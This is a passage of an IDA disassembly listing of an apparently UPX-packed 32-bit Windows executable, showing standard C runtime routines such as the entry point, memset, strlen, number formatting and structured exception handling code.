RtlGetLastWin32Error push eax call sub_40C820 mov [esi], eax pop ecx loc_40BAB8: ; CODE XREF: sub_40B8A1+152j ; sub_40B8A1+18Ej ... mov eax, edi jmp short loc_40BA8E ; END OF FUNCTION CHUNK FOR sub_40B8A1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BABC proc near ; CODE XREF: sub_408F0F+7p ; sub_415EED+37p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push 0Ah push 0 push [ebp+arg_0] call sub_40F324 add esp, 0Ch pop ebp retn sub_40BABC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BAD2 proc near ; CODE XREF: sub_40BB16+1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp cmp [ebp+arg_4], 0 jz short loc_40BAE3 mov byte ptr [ecx], 2Dh inc ecx neg eax loc_40BAE3: ; CODE XREF: sub_40BAD2+9j push esi mov esi, ecx loc_40BAE6: ; CODE XREF: sub_40BAD2+2Bj xor edx, edx div [ebp+arg_0] cmp edx, 9 jbe short loc_40BAF5 add dl, 57h jmp short loc_40BAF8 ; --------------------------------------------------------------------------- loc_40BAF5: ; CODE XREF: sub_40BAD2+1Cj add dl, 30h loc_40BAF8: ; CODE XREF: sub_40BAD2+21j mov [ecx], dl inc ecx test eax, eax ja short loc_40BAE6 mov byte ptr [ecx], 0 dec ecx loc_40BB03: ; CODE XREF: sub_40BAD2+3Dj mov dl, [esi] mov al, [ecx] mov [ecx], dl dec ecx mov [esi], al inc esi cmp esi, ecx jb short loc_40BB03 pop esi pop ebp retn 8 sub_40BAD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB16 proc near ; CODE XREF: sub_408F0F+3Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_8], 0Ah jnz short loc_40BB29 cmp [ebp+arg_0], eax jge short loc_40BB29 inc eax loc_40BB29: ; CODE XREF: sub_40BB16+Bj ; sub_40BB16+10j mov ecx, [ebp+arg_4] push eax push [ebp+arg_8] mov eax, [ebp+arg_0] call sub_40BAD2 mov eax, [ebp+arg_4] pop ebp retn sub_40BB16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB3D proc near ; CODE XREF: sub_409CE5+176p ; sub_409CE5+194p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push eax call dword_41D19C ; GetSystemTimeAsFileTime mov eax, [ebp+var_8] mov ecx, [ebp+var_4] push 0 add eax, 2AC18000h push 989680h adc ecx, 0FE624E21h push ecx push eax call sub_40F350 cmp edx, 7 jl short loc_40BB80 jg short loc_40BB7B cmp eax, 93406FFFh jbe short loc_40BB80 loc_40BB7B: ; CODE XREF: sub_40BB3D+35j or eax, 0FFFFFFFFh mov edx, eax loc_40BB80: ; CODE XREF: sub_40BB3D+33j ; sub_40BB3D+3Cj mov ecx, [ebp+arg_0] test ecx, ecx jz short locret_40BB8C mov [ecx], eax mov [ecx+4], edx locret_40BB8C: ; CODE XREF: sub_40BB3D+48j leave retn sub_40BB3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB8E proc near ; CODE XREF: UPX0:0040BC31p ; UPX0:0040BC42p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp cmp dword_42E3F8, 1 jnz short loc_40BBA1 call sub_40DF83 loc_40BBA1: ; CODE XREF: sub_40BB8E+Cj push [ebp+arg_0] call sub_40DDD8 push 0FFh call sub_40DB24 pop ecx pop ecx pop ebp retn sub_40BB8E endp ; --------------------------------------------------------------------------- loc_40BBB7: ; CODE XREF: UPX0:0040BD3Aj push 58h push offset dword_4268B8 call __SEH_prolog4 xor esi, esi mov [ebp-4], esi lea eax, [ebp-68h] push eax call dword_41D194 ; GetStartupInfoA push 0FFFFFFFEh pop edi mov [ebp-4], edi mov eax, 5A4Dh cmp ds:400000h, ax jnz short loc_40BC1E mov eax, ds:40003Ch cmp dword ptr [eax+400000h], 4550h jnz short loc_40BC1E mov ecx, 10Bh cmp [eax+400018h], cx jnz short loc_40BC1E cmp dword ptr [eax+400074h], 0Eh jbe short loc_40BC1E xor ecx, ecx cmp [eax+4000E8h], esi setnz cl mov [ebp-1Ch], ecx jmp short loc_40BC21 ; --------------------------------------------------------------------------- loc_40BC1E: ; CODE XREF: UPX0:0040BBE4j ; UPX0:0040BBF5j ... mov [ebp-1Ch], esi loc_40BC21: ; CODE XREF: UPX0:0040BC1Cj xor ebx, ebx inc ebx push ebx call sub_40CDFD pop ecx test eax, eax jnz short loc_40BC37 push 1Ch call sub_40BB8E pop ecx loc_40BC37: ; CODE XREF: UPX0:0040BC2Dj call sub_40E4D8 test eax, eax jnz short loc_40BC48 push 10h call sub_40BB8E pop ecx loc_40BC48: ; CODE XREF: UPX0:0040BC3Ej call sub_40FC85 mov [ebp-4], ebx call sub_40FA31 test eax, eax jge short loc_40BC61 push 1Bh call sub_40DAD0 pop ecx loc_40BC61: ; CODE XREF: UPX0:0040BC57j call dword_41D198 ; GetCommandLineA mov dword_430294, eax call sub_40F8FA mov dword_42E3F0, eax call sub_40F83F test eax, eax jge short loc_40BC87 push 8 call sub_40DAD0 pop ecx loc_40BC87: ; CODE XREF: UPX0:0040BC7Dj call sub_40F5C7 test eax, eax jge short loc_40BC98 push 9 call sub_40DAD0 pop ecx loc_40BC98: ; CODE XREF: UPX0:0040BC8Ej push ebx call sub_40DB8F pop ecx cmp eax, esi jz short loc_40BCAA push eax call sub_40DAD0 pop ecx loc_40BCAA: ; CODE XREF: UPX0:0040BCA1j call sub_40F568 test [ebp-3Ch], bl jz short loc_40BCBA movzx ecx, word ptr [ebp-38h] jmp short loc_40BCBD ; --------------------------------------------------------------------------- loc_40BCBA: ; CODE XREF: UPX0:0040BCB2j push 0Ah pop ecx loc_40BCBD: ; CODE XREF: UPX0:0040BCB8j push ecx push eax push esi push 400000h call sub_417692 ; --------------------------------------------------------------------------- mov [ebp-20h], eax cmp [ebp-1Ch], esi jnz short loc_40BCD8 push eax call sub_40DD40 loc_40BCD8: ; CODE XREF: UPX0:0040BCD0j call sub_40DD6C mov [ebp-4], edi jmp short loc_40BD17 ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-24h], ecx push eax push ecx call sub_40F408 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-24h] mov [ebp-20h], eax cmp dword ptr [ebp-1Ch], 0 jnz short loc_40BD0B push eax call sub_40DD56 loc_40BD0B: ; CODE XREF: UPX0:0040BD03j call sub_40DD7B mov dword ptr [ebp-4], 0FFFFFFFEh loc_40BD17: ; CODE XREF: UPX0:0040BCE0j mov eax, [ebp-20h] jmp short loc_40BD2F ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov dword ptr [ebp-4], 0FFFFFFFEh mov eax, 0FFh loc_40BD2F: ; CODE XREF: UPX0:0040BD1Aj call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_40BD35: ; CODE XREF: UPX1:00470A29j call sub_40FCD1 jmp loc_40BBB7 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40BD40 proc near ; CODE XREF: sub_4016D2+DBp ; sub_404725+E1p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_40BDB5 xor eax, eax mov al, [esp+arg_4] test al, al jnz short loc_40BD6C cmp edx, 100h jb short loc_40BD6C cmp dword_430144, 0 jz short loc_40BD6C jmp sub_40FDBE ; --------------------------------------------------------------------------- loc_40BD6C: ; CODE XREF: sub_40BD40+14j ; sub_40BD40+1Cj ... push edi mov edi, ecx cmp edx, 4 jb short loc_40BDA5 neg ecx and ecx, 3 jz short loc_40BD87 sub edx, ecx loc_40BD7D: ; CODE XREF: sub_40BD40+45j mov [edi], al add edi, 1 sub ecx, 1 jnz short loc_40BD7D loc_40BD87: ; CODE XREF: sub_40BD40+39j mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_40BDA5 rep stosd test edx, edx jz short loc_40BDAF loc_40BDA5: ; CODE XREF: sub_40BD40+32j ; sub_40BD40+5Dj ... mov [edi], al add edi, 1 sub edx, 1 jnz short loc_40BDA5 loc_40BDAF: ; CODE XREF: sub_40BD40+63j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40BDB5: ; CODE XREF: sub_40BD40+Aj mov eax, [esp+arg_0] retn sub_40BD40 endp ; --------------------------------------------------------------------------- align 4 ; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE20 proc near ; DATA XREF: __SEH_prolog4o ; sub_4100F0+Co ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp sub esp, 18h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebx+8] xor esi, dword_42A034 push edi mov eax, [esi] mov [ebp+var_1], 0 mov [ebp+var_C], 1 lea edi, [ebx+10h] cmp eax, 0FFFFFFFEh jz short loc_40BE59 mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_40AC1C loc_40BE59: ; CODE XREF: sub_40BE20+2Aj mov ecx, [esi+0Ch] mov eax, [esi+8] add ecx, edi xor ecx, [eax+edi] call sub_40AC1C mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jnz loc_40BF8C mov ecx, [ebp+arg_8] lea edx, [ebp+var_18] mov [ebx-4], edx mov ebx, [ebx+0Ch] mov [ebp+var_18], eax mov [ebp+var_14], ecx cmp ebx, 0FFFFFFFEh jz short loc_40BEEC lea ecx, [ecx+0] loc_40BE90: ; CODE XREF: sub_40BE20+A0j lea eax, [ebx+ebx*2] mov ecx, [esi+eax*4+14h] lea eax, [esi+eax*4+10h] mov [ebp+var_10], eax mov eax, [eax] mov [ebp+var_8], eax test ecx, ecx jz short loc_40BEBB mov edx, edi call sub_40FFFE mov [ebp+var_1], 1 test eax, eax jl short loc_40BEF6 jg short loc_40BEFF mov eax, [ebp+var_8] loc_40BEBB: ; CODE XREF: sub_40BE20+85j mov ebx, eax cmp eax, 0FFFFFFFEh jnz short loc_40BE90 cmp [ebp+var_1], 0 jz short loc_40BEEC loc_40BEC8: ; CODE XREF: sub_40BE20+DDj ; sub_40BE20+187j mov eax, [esi] cmp eax, 0FFFFFFFEh jz short loc_40BEDC mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_40AC1C loc_40BEDC: ; CODE XREF: sub_40BE20+ADj mov ecx, [esi+0Ch] mov edx, [esi+8] add ecx, edi xor ecx, [edx+edi] call sub_40AC1C loc_40BEEC: ; CODE XREF: sub_40BE20+6Bj ; sub_40BE20+A6j ... mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_40BEF6: ; CODE XREF: sub_40BE20+94j mov [ebp+var_C], 0 jmp short loc_40BEC8 ; --------------------------------------------------------------------------- loc_40BEFF: ; CODE XREF: sub_40BE20+96j mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0E06D7363h jnz short loc_40BF33 cmp off_41DCA0, 0 jz short loc_40BF33 push offset off_41DCA0 call sub_4100F0 add esp, 4 test eax, eax jz short loc_40BF33 mov edx, [ebp+arg_0] push 1 push edx call off_41DCA0 add esp, 8 loc_40BF33: ; CODE XREF: sub_40BE20+E8j ; sub_40BE20+F1j ... mov ecx, [ebp+arg_4] call sub_41002E mov eax, [ebp+arg_4] cmp [eax+0Ch], ebx jz short loc_40BF55 push offset dword_42A034 push edi mov edx, ebx mov ecx, eax call sub_410048 mov eax, [ebp+arg_4] loc_40BF55: ; CODE XREF: sub_40BE20+121j mov ecx, [ebp+var_8] mov [eax+0Ch], ecx mov eax, [esi] cmp eax, 0FFFFFFFEh jz short loc_40BF6F mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_40AC1C loc_40BF6F: ; CODE XREF: sub_40BE20+140j mov ecx, [esi+0Ch] mov edx, [esi+8] add ecx, edi xor ecx, [edx+edi] call sub_40AC1C mov eax, [ebp+var_10] mov ecx, [eax+8] mov edx, edi call sub_410015 loc_40BF8C: ; CODE XREF: sub_40BE20+50j mov edx, 0FFFFFFFEh cmp [ebx+0Ch], edx jz loc_40BEEC push offset dword_42A034 push edi mov ecx, ebx call sub_410048 jmp loc_40BEC8 sub_40BE20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40BFB0 proc near ; CODE XREF: sub_40ACB7+1Ap ; sub_40AD27+25p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_40BFE0 loc_40BFBC: ; CODE XREF: sub_40BFB0+1Bj mov al, [ecx] add ecx, 1 test al, al jz short loc_40C013 test ecx, 3 jnz short loc_40BFBC add eax, 0 lea esp, [esp+0] lea esp, [esp+0] loc_40BFE0: ; CODE XREF: sub_40BFB0+Aj ; sub_40BFB0+46j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40BFE0 mov eax, [ecx-4] test al, al jz short loc_40C031 test ah, ah jz short loc_40C027 test eax, 0FF0000h jz short loc_40C01D test eax, 0FF000000h jz short loc_40C013 jmp short loc_40BFE0 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFB0+13j ; sub_40BFB0+5Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40C01D: ; CODE XREF: sub_40BFB0+58j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40C027: ; CODE XREF: sub_40BFB0+51j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40C031: ; CODE XREF: sub_40BFB0+4Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_40BFB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C03B proc near ; CODE XREF: sub_4010D8+12p ; sub_405CA8+44p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_41D58C lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] pop edi mov [ebp+var_4], eax pop esi test eax, eax jz short loc_40C070 test byte ptr [eax], 8 jz short loc_40C070 mov [ebp+var_C], 1994000h loc_40C070: ; CODE XREF: sub_40C03B+27j ; sub_40C03B+2Cj lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_41D1DC ; RaiseException leave retn 8 sub_40C03B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: sub_4108BA+67p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push ecx push ebx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov ebp, [ebp+var_4] mov esp, [ebx-4] jmp eax sub_40C087 endp ; --------------------------------------------------------------------------- pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_40C0B9 proc near ; CODE XREF: sub_4103CB+31p ; sub_410828+59p ... arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_40C0B9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C0C0 proc near ; CODE XREF: sub_40C254+6Bp ; sub_4108BA:loc_4108E4p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov esi, large fs:0 mov [ebp+var_4], esi mov [ebp+var_8], offset loc_40C0EB push 0 push [ebp+arg_4] push [ebp+var_8] push [ebp+arg_0] call sub_416F6E ; RtlUnwind loc_40C0EB: ; DATA XREF: sub_40C0C0+14o mov eax, [ebp+arg_4] mov eax, [eax+4] and eax, 0FFFFFFFDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov edi, large fs:0 mov ebx, [ebp+var_4] mov [ebx], edi mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_40C0C0 endp ; --------------------------------------------------------------------------- loc_40C114: ; CODE XREF: UPX0:0041BEEAj ; UPX0:0041BF05j ... push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_410D80 add esp, 20h mov [ebp-8], eax pop edi pop esi pop ebx mov eax, [ebp-8] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C14A proc near ; DATA XREF: sub_40C40D+26o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push esi cld mov esi, [ebp+arg_4] mov ecx, [esi+8] xor ecx, esi call sub_40AC1C push 0 push esi push dword ptr [esi+14h] push dword ptr [esi+0Ch] push 0 push [ebp+arg_8] push dword ptr [esi+10h] push [ebp+arg_0] call sub_410D80 add esp, 20h pop esi pop ebp retn sub_40C14A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C17D proc near ; CODE XREF: sub_40C254+83p ; sub_410928+55p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h mov edi, edi push ebp mov ebp, esp sub esp, 38h push ebx cmp [ebp+arg_0], 123h jnz short loc_40C1A1 mov eax, offset loc_40C228 mov ecx, [ebp+arg_4] mov [ecx], eax xor eax, eax inc eax jmp loc_40C251 ; --------------------------------------------------------------------------- loc_40C1A1: ; CODE XREF: sub_40C17D+10j and [ebp+var_28], 0 mov [ebp+var_24], offset sub_40C254 mov eax, dword_42A034 lea ecx, [ebp+var_28] xor eax, ecx mov [ebp+var_20], eax mov eax, [ebp+arg_10] mov [ebp+var_1C], eax mov eax, [ebp+arg_4] mov [ebp+var_18], eax mov eax, [ebp+arg_14] mov [ebp+var_14], eax mov eax, [ebp+arg_18] mov [ebp+var_10], eax and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_38], 1 mov eax, [ebp+arg_0] mov [ebp+var_34], eax mov eax, [ebp+arg_8] mov [ebp+var_30], eax call sub_40E38F mov eax, [eax+80h] mov [ebp+var_2C], eax lea eax, [ebp+var_34] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call [ebp+var_2C] pop ecx pop ecx and [ebp+var_38], 0 loc_40C228: ; DATA XREF: sub_40C17D+12o cmp [ebp+var_4], 0 jz short loc_40C245 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_40C24E ; --------------------------------------------------------------------------- loc_40C245: ; CODE XREF: sub_40C17D+AFj mov eax, [ebp+var_28] mov large fs:0, eax loc_40C24E: ; CODE XREF: sub_40C17D+C6j mov eax, [ebp+var_38] loc_40C251: ; CODE XREF: sub_40C17D+1Fj pop ebx leave retn sub_40C17D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C254 proc near ; DATA XREF: sub_40C17D+28o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push ecx push ebx cld mov eax, [ebp+arg_4] mov ecx, [eax+8] xor ecx, [ebp+arg_4] call sub_40AC1C mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h jz short loc_40C286 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 xor eax, eax inc eax jmp short loc_40C2F0 ; --------------------------------------------------------------------------- jmp short loc_40C2F0 ; --------------------------------------------------------------------------- loc_40C286: ; CODE XREF: sub_40C254+1Fj push 1 mov eax, [ebp+arg_4] push dword ptr [eax+18h] mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+10h] push [ebp+arg_0] call sub_410D80 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_40C2C4 push [ebp+arg_0] push [ebp+arg_4] call sub_40C0C0 loc_40C2C4: ; CODE XREF: sub_40C254+63j push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_4] push eax push 123h call sub_40C17D add esp, 1Ch mov eax, [ebp+var_4] mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp eax ; --------------------------------------------------------------------------- xor eax, eax inc eax loc_40C2F0: ; CODE XREF: sub_40C254+2Ej ; sub_40C254+30j pop ebx leave retn sub_40C254 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2F3 proc near ; CODE XREF: sub_410928+83p ; sub_410A1C+1B7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h mov edi, edi push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] mov eax, [edi+10h] mov esi, [edi+0Ch] mov [ebp+var_4], eax mov ebx, esi jmp short loc_40C339 ; --------------------------------------------------------------------------- loc_40C30C: ; CODE XREF: sub_40C2F3+4Dj cmp esi, 0FFFFFFFFh jnz short loc_40C316 call sub_40E077 loc_40C316: ; CODE XREF: sub_40C2F3+1Cj mov ecx, [ebp+var_4] dec esi mov eax, esi imul eax, 14h add eax, ecx mov ecx, [ebp+arg_8] cmp [eax+4], ecx jge short loc_40C32E cmp ecx, [eax+8] jle short loc_40C333 loc_40C32E: ; CODE XREF: sub_40C2F3+34j cmp esi, 0FFFFFFFFh jnz short loc_40C33C loc_40C333: ; CODE XREF: sub_40C2F3+39j dec [ebp+arg_4] mov ebx, [ebp+arg_0] loc_40C339: ; CODE XREF: sub_40C2F3+17j mov [ebp+arg_0], esi loc_40C33C: ; CODE XREF: sub_40C2F3+3Ej cmp [ebp+arg_4], 0 jge short loc_40C30C mov eax, [ebp+arg_C] inc esi mov [eax], esi mov eax, [ebp+arg_10] mov [eax], ebx cmp ebx, [edi+0Ch] ja short loc_40C356 cmp esi, ebx jbe short loc_40C35B loc_40C356: ; CODE XREF: sub_40C2F3+5Dj call sub_40E077 loc_40C35B: ; CODE XREF: sub_40C2F3+61j mov eax, esi imul eax, 14h add eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40C2F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C368 proc near ; CODE XREF: sub_41050D+28p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [esi], eax call sub_40E38F mov eax, [eax+98h] mov [esi+4], eax call sub_40E38F mov [eax+98h], esi mov eax, esi pop esi pop ebp retn sub_40C368 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C394 proc near ; CODE XREF: sub_410633+60p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp call sub_40E38F mov eax, [eax+98h] jmp short loc_40C3B0 ; --------------------------------------------------------------------------- loc_40C3A6: ; CODE XREF: sub_40C394+1Ej mov ecx, [eax] cmp ecx, [ebp+arg_0] jz short loc_40C3B7 mov eax, [eax+4] loc_40C3B0: ; CODE XREF: sub_40C394+10j test eax, eax jnz short loc_40C3A6 inc eax pop ebp retn ; --------------------------------------------------------------------------- loc_40C3B7: ; CODE XREF: sub_40C394+17j xor eax, eax pop ebp retn sub_40C394 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3BB proc near ; CODE XREF: sub_410633+9p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi call sub_40E38F mov esi, [ebp+arg_0] cmp esi, [eax+98h] jnz short loc_40C3E2 call sub_40E38F mov ecx, [esi+4] mov [eax+98h], ecx loc_40C3DF: ; CODE XREF: sub_40C3BB+50j pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40C3E2: ; CODE XREF: sub_40C3BB+14j call sub_40E38F mov eax, [eax+98h] jmp short loc_40C3F8 ; --------------------------------------------------------------------------- loc_40C3EF: ; CODE XREF: sub_40C3BB+41j mov ecx, [eax+4] cmp esi, ecx jz short loc_40C405 mov eax, ecx loc_40C3F8: ; CODE XREF: sub_40C3BB+32j cmp dword ptr [eax+4], 0 jnz short loc_40C3EF pop esi pop ebp jmp sub_40E077 ; --------------------------------------------------------------------------- loc_40C405: ; CODE XREF: sub_40C3BB+39j mov ecx, [esi+4] mov [eax+4], ecx jmp short loc_40C3DF sub_40C3BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C40D proc near ; CODE XREF: sub_41050D+7Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h mov edi, edi push ebp mov ebp, esp sub esp, 18h mov eax, dword_42A034 and [ebp+var_18], 0 lea ecx, [ebp+var_18] xor eax, ecx mov ecx, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov eax, [ebp+arg_C] inc eax mov [ebp+var_14], offset sub_40C14A mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_18], eax lea eax, [ebp+var_18] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_410E70 mov ecx, eax mov eax, [ebp+var_18] mov large fs:0, eax mov eax, ecx leave retn sub_40C40D endp ; =============== S U B R O U T I N E ======================================= sub_40C46D proc near ; CODE XREF: sub_4016D2+1Fp ; sub_401BB2+1Fp ... arg_0 = byte ptr 4 push eax push large dword ptr fs:0 lea eax, [esp+8+arg_0] sub esp, [esp+0Ch] push ebx push esi push edi mov [eax], ebp mov ebp, eax mov eax, dword_42A034 xor eax, ebp push eax push dword ptr [ebp-4] mov dword ptr [ebp-4], 0FFFFFFFFh lea eax, [ebp-0Ch] mov large fs:0, eax retn sub_40C46D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C4A0 proc near ; CODE XREF: sub_401652+7p ; sub_4019F2+7p ... arg_0 = byte ptr 4 push eax push large dword ptr fs:0 lea eax, [esp+8+arg_0] sub esp, [esp+0Ch] push ebx push esi push edi mov [eax], ebp mov ebp, eax mov eax, dword_42A034 xor eax, ebp push eax mov [ebp-10h], esp push dword ptr [ebp-4] mov dword ptr [ebp-4], 0FFFFFFFFh lea eax, [ebp-0Ch] mov large fs:0, eax retn sub_40C4A0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C4D6 proc near ; CODE XREF: sub_401304+7p ; sub_4080FF+7p ... arg_0 = byte ptr 4 push eax push large dword ptr fs:0 lea eax, [esp+8+arg_0] sub esp, [esp+0Ch] push ebx push esi push edi mov [eax], ebp mov ebp, eax mov eax, dword_42A034 xor eax, ebp push eax mov [ebp-10h], eax push dword ptr [ebp-4] mov dword ptr [ebp-4], 0FFFFFFFFh lea eax, [ebp-0Ch] mov large fs:0, eax retn sub_40C4D6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C50C proc near ; CODE XREF: sub_401652:loc_4016CAp ; 